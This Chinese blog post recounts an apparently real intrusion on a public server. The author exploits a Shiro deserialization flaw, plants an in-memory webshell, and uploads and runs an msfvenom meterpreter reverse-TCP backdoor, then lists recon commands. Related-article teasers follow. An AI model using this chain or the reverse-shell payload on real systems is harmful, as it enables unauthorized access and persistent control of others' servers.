记一次实战 Shiro反序列化内网上线
Shiro反序列化内网上线
说明:
此贴仅分享用于各安全人员进行安全学习提供思路,或有合法授权的安全测试,请勿参考用于其他用途,如有,后果自负。
感谢各位大佬的关注
目标:152.xxx.xxx.xxx
目的:通过信息收集或其他方式寻找到了一枚shiro反序列化的漏洞,并进行了内网渗透测试工作
类型:Web反序列化漏洞
介绍:
Shiro 是 Java安全框架通过序列化,进行AES密钥做身份验证加密(cookie加密)通过shiro硬编码 比证密钥 获取目标利用链并进行上线操作
本文的起因是在一次渗透测试中,挖掘到了一个shiro反序列化 故进行了内网渗透尝试
特征:
在请求消息中 构造cookie
添加一个参数rememberMe=xxx,观察响应消息头中的Set-Cookie是否有rememberMe=deleteMe;如果有则说明使用了shiro框架
信息收集
这里我采用的是网络空间测绘引擎、目录信息收集、域名收集 等进行了资产整合利用
将搜集的信息 导出整合数据 备用

- 利用检测工具 减少误判率
这里我用的是java开发的shiroScan 检测工具
*扫之前记得开代理 查询当前代理IP
在当前目录下开始对目标进行扫描 再次筛选存活并可利用的网站
将筛选结果导出保存
漏洞利用
- 这边我利用shiro利用工具对目标进行”硬编码“ 密钥爆破操作
这里我用的是java开发的shiro利用工具
筛选目标时 发现目标存在Shiro反序列化漏洞 采用了硬编码
在工具内进行功能区的利用,在爆破完成后,对目标进行目录扫描。【记得开代理】
kali中 开个小代理
2.这边对目标进行目录收集
3.这边当即对 目标目录 进行内存马注入操作
拓展一下:
内存马 是无文件渗透测试的一种常用手段
webshell的变迁过程大致如下所述:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
因为传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,故内存马使用越来越多
这边我使用 蚁剑 尝试连接成功 
在蚁剑的命令行中执行 查询命令时 发现该目标是root用户 Linux系统 初步判断是Debian
目标上线
这里开始利用 metasploit 安全漏洞检测工具中的_msfvenom payload生成器 _使目标上线
msfvenom生成 Linux 后门程序,这里刚开始我是使用的cobalt strike 中生成的Java后门程序发现行不通 可能是因为目标JDK的版本 导致不兼容的原因,故利用metasploit的msfvenom生成后门程序 结合“蚁剑”上传后门程序 使目标成功进行执行上线操作
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=[lhost_ip] lport=22715 -f elf -o 123.elf

将生成的后门程序 上传至目标 并利用蚁剑的命令行执行此文件 记得改文件执行权限
chmod 777 123.elf;
chmod u+x 123.elf;
./123.elf 执行文件
后门程序“123.elf” 成功上传至目标/bin目录下
执行msfconsole 进入MSF命令接口 执行快速监听等待目标成功上线
利用meterpreter成功拿shell
它是攻击载荷能够获得目标系统的一个Meterpreter shell的链接
内网渗透 Linux信息收集
查询主机名
2>/dev/null,作用是丢弃错误信息
hostname 2>/dev/null
查询系统名称
cat /etc/issue
查询内核版本
查询系统和内核的所有相关信息
依次为内核名称,主机名,内核版本号,内核版本,硬件架构名称,处理器类型,硬件平台类型,操作系统名称
uname -a
查询CPU信息
cat /proc/cpuinfo
查询磁盘信息
查询文件系统磁盘的详细信息
包括磁盘名称,内存大小,已用空间,可用空间,挂载点
查看本地磁盘信息
df -lh
查看所有磁盘信息
df -ah
查询网络连接状态
访问网络连接状态及其相关信息的程序
这里可以看到在目标执行中的"123.elf"后门程序
点到为止 测试结束
记一次实战 Shiro反序列化内网上线的更多相关文章
- 记利用frp配合nginx实现内网透传
frp下载 背景 : 内网有一台服务器A 在NAT背后 无法被其他客户端访问 借助公网服务器B来配置内网透传 即可通过B来访问A 服务端安装frps 启动: ./frps -c frps.ini 配置 ...
- 性能测试实战-XYB项目-内网访问
使用内网服务器,linux host绑定域名,相当于ip地址+域名的host绑定,只不过这里的ip是yc-sparks.schoolis.cn
- 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网
/文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...
- 【实战3】记一次内网中反弹shell的艰难历程
# 0x00 前言 最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始··· # 0x01 弱口令 对目标ip进行端口扫描,开放端口为80,445,1433,3389- ...
- 记<<ssh穿透防火墙连接内网的机器(不用路由端口映射)>>
场景: 在家连接公司的内网服务器. 需求: 不用设置端口映射在家用putty登录公司内网服务器. 条件: 有一台公网服务器做转发,有开放端口的控制权.(公网服务器可以是阿里云ECS, 腾讯云主机这样的 ...
- SSH 内网端口转发实战
导读 大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人. 如果两个内网之间的linux服务器需要互相登录,或需要互相访问内网某个端口,担忧 ...
- 企业内网信息安全实践-记ChinaUnix技术交流
企业内网信息安全实践 随着棱镜计划的曝光,越来越多的信息安全的事件暴露在公众面前.对于企业来说,遭受到黑客攻击和破坏是家常便饭,只是您没有觉察到.自从09年就开始研究Ossim0.9版本,历经进10个 ...
- Vue实战041:获取当前客户端IP地址详解(内网和外网)
前言 我们经常会有需求,希望能获取的到当前用户的IP地址,而IP又分为公网ip(也称外网)和私网IP(也称内网IP),IP地址是IP协议提供的一种统一的地址格式,每台设备都设定了一个唯一的IP地址”, ...
- 记一次metasploitable2内网渗透之8180端口tomcat
扫描网段存活主机,确定内网metasploitable主机位置 nmap -T4 -sP 192.168.1.0/24 对目标主机进行扫描端口开放和系统信息 nmap -T4 -sV -Pn 192. ...
随机推荐
- Docker从入门到放弃(1) Docker简介与安装
目录 一.Docker简介 1.Docker是什么: 2.为什么有docke的出现: 3.docker与传统容器的区别: 4.docker基本组成 5.docker工作原理: 二.Docker安装 ...
- openstack之Designate组件,入门级安装(快速)
@ 目录 前言 架构 前提准备 创建 DNS 服务 API 端点 安装和配置组件 验证操作 前言 Designate 是一个开源 DNS 即服务实施,是用于运行云的 OpenStack 服务生态系统的 ...
- 1.9 初学者应选择哪个Linux发行版?
前面章节中,已经对几个常见的 Linux 发行版做了简单的介绍,那么对于初学者来说,选择哪个发行版的性价比更高呢? 通常情况下,初学者学习 Linux,是为了找一份和 Linux 相关的工作,那么问题 ...
- Windows Terminal无法加载WSL [process exited with code 4294967295 (0xffffffff)]
在Windows Terminal中WSL无法打开错误代码是 process exited with code 4294967295 (0xffffffff),但在命令行中 通过 "C:\W ...
- 隐藏浏览器header中X-Powered-By: PHP信息
在php程序中,默认会在http请求响应头中输出php版本信息.如下: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Date: Tue ...
- 2.0 vue2+tinymce实现图片上传与回显
1.效果 2.配置 2.1 在init中添加图片上传函数 // 图片上传 images_upload_handler: (blobInfo, success, failure) => { // ...
- 【Tools】JAR怀旧模拟器推荐
前段时间突然很怀念小时候玩的仙剑奇侠传,于是在网上各种找,功夫不负有心人,让我找到并且通关了.相信也有人需要.下面是截图. 下载地址:https://www.lanzous.com/ialmayh
- 『忘了再学』Shell基础 — 17、预定义变量
目录 1.预定义变量$? 2.预定义变量$$和$! 我们之前说过,Shell中的变量不是按照变量值的类型来进行分类的,而是按照Linux系统中定义的变量类别来分类的. 预定义变量就是,事先把变量的名称 ...
- Vue2框架
Vue2框架 Vue定义 Vue.js是一种构建用户界面的渐进式框架,提供了MVVM模型数据绑定和一个可组合的组件系统,具有简单灵活的API,采用自底向上逐层应用 Vue安装 / 浏览器安装Vue D ...
- 05-STL
Day01 笔记 1 STL概论 1.1 STL六大组件 1.1.1 容器.算法.迭代器.仿函数.适配器.空间配置器 1.2 STL优点 1.2.1 内建在C++编译器中,不需要安装额外内容 1.2. ...